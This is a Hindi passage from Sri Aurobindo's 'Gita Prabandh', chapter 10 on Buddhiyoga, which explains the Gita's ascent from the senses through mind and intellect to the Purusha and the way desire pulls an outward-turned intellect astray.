गीता प्रबंध -अरविन्द पृ. 96

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गीता-प्रबंध
10.बुद्धियोग

प्रकृति से लौटकर अपने पुरूष - स्वरूप को प्राप्त करने के लिये जीव की जो विकास - क्रिया होती है उसमें प्रकृति - विकास के मूल क्रम का उल्टा क्रम ग्रहण करन पड़ता है। उपनिषदों ने और उपनिषदों का ही अनुसरण करके, प्रायः उपनिषदों के वचनों को ही उद्धृत करके गीता ने हमारे अंतःकरण की शक्तियों का आरोहण क्रम इस प्रकार बतलाया है – “विषयों” से इन्द्रिया परे है , इन्द्रियों से परे मन है, मन से परे बुद्धि है और बुद्धि से परे जो है वह , ‘वह’ है”[१] - चिदात्मा, चैतन्य पुरूष। इसलिये गीता कहती है, इस पुरूष को , हमारे आत्मनिष्ठ जीवन के इस परम कारण को हमें बुद्धि से समझना और जान लेना होगा; उसी में अपने संकल्प को स्थिर करना होगा। इस प्रकार हम प्रकृतिस्थ निम्नतर अंतरंग पुरूष को उस महत्तर चिम्नय पुरूष की सहायता से सर्वथा संतुलित और निस्तब्ध करके अपनी शांति और प्रभुत्व के शत्रु , मन की “कामना” को, जो सदा अशांत और चंचल रहती है, मार सकेगें” । कारण, यह तो स्पष्ट ही है कि बुद्धि की क्रिया की दो संभवनाएं है । या तो वह निन्मगामी और बहिर्मुख होकर प्रकृति के तीनों गुणो की लीला में इन्द्रियानुभवों और संकल्पों की दितरी हुई क्रियाओं में संलग्न रहे, या ऊध्र्वगामी और अंतर्मुख होकर ,प्रकृति के जंजाल से छूटकर , प्रशांत चिदात्मा की स्थिरता और सनातन विशुद्धता में चिरशांति और समता लाभ करे। पहले विकल्प में अंतरंग सत्ता इन्द्रियों के विषयों के अधीन रहती है, वह वस्तुओं के बाह्म संपर्क में ही निवास करती है ।
यह कामना का जीवन है। इसमें इन्द्रियां विषयों से उत्तेजित कोर अशांत , बहुधा भीषण विक्षोभ उत्पन्न करती हैं, उन विषयों को हथियाने और उन्हें भोंकने के लिये बड़ी तेजी से अंधाधुध बाहर की ओर दौड़ पड़ती हैं और मन को अपने साथ खींच ले जाती हैं, जैसे समुद्र में वायु नौका को खींच ले जाती है ; फिर इन्द्रियों की इस बहिर्मुख गति द्वारा जगाये हुए भावावेगों , आवेशों, लालाओं और पे्रणाओं से पराभूत हुआ मन, उसी प्रकार , बुद्धि को खींच ले जाती है। इससे बुद्धि अपना स्थिर विवेक और प्रभुता खो बैठती है। निम्नगा बुद्धि का परिणाम यह होता है कि प्रकृति के तीनों गुणों की जों सदा गुत्थंगुत्था और भिड़ंत होती रहती है , जीव उसकी उलझी क्रीडा के अधीन हो जता है, वह ज्ञानमय हो जाता है, उसका जीवन मिथ्या, इन्द्रियपरायण और बहिरंग हो जता है, वह शेक, क्रोध , आसक्त् और आवेश का दास हो जाता है, - यही है साधारण, अज्ञानी , असंयमी मनुष्य का जीवन । जो लोग वेदवादियों के समान इन्द्रियाभोग को ही कर्म का लक्ष्य और उसी की को पूणर्ता को जीव का परम ध्येय बनाते हैं उनके उपदेश हमारे काम के नहीं। अंतःस्थ निर्विषय आत्मानंद हमारा सच्चा लच्य है और यही हमारी शांति और मुक्ति की उच्च और व्यापक समस्थिति है।


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टीका टिप्पणी और संदर्भ

  1. 3.42

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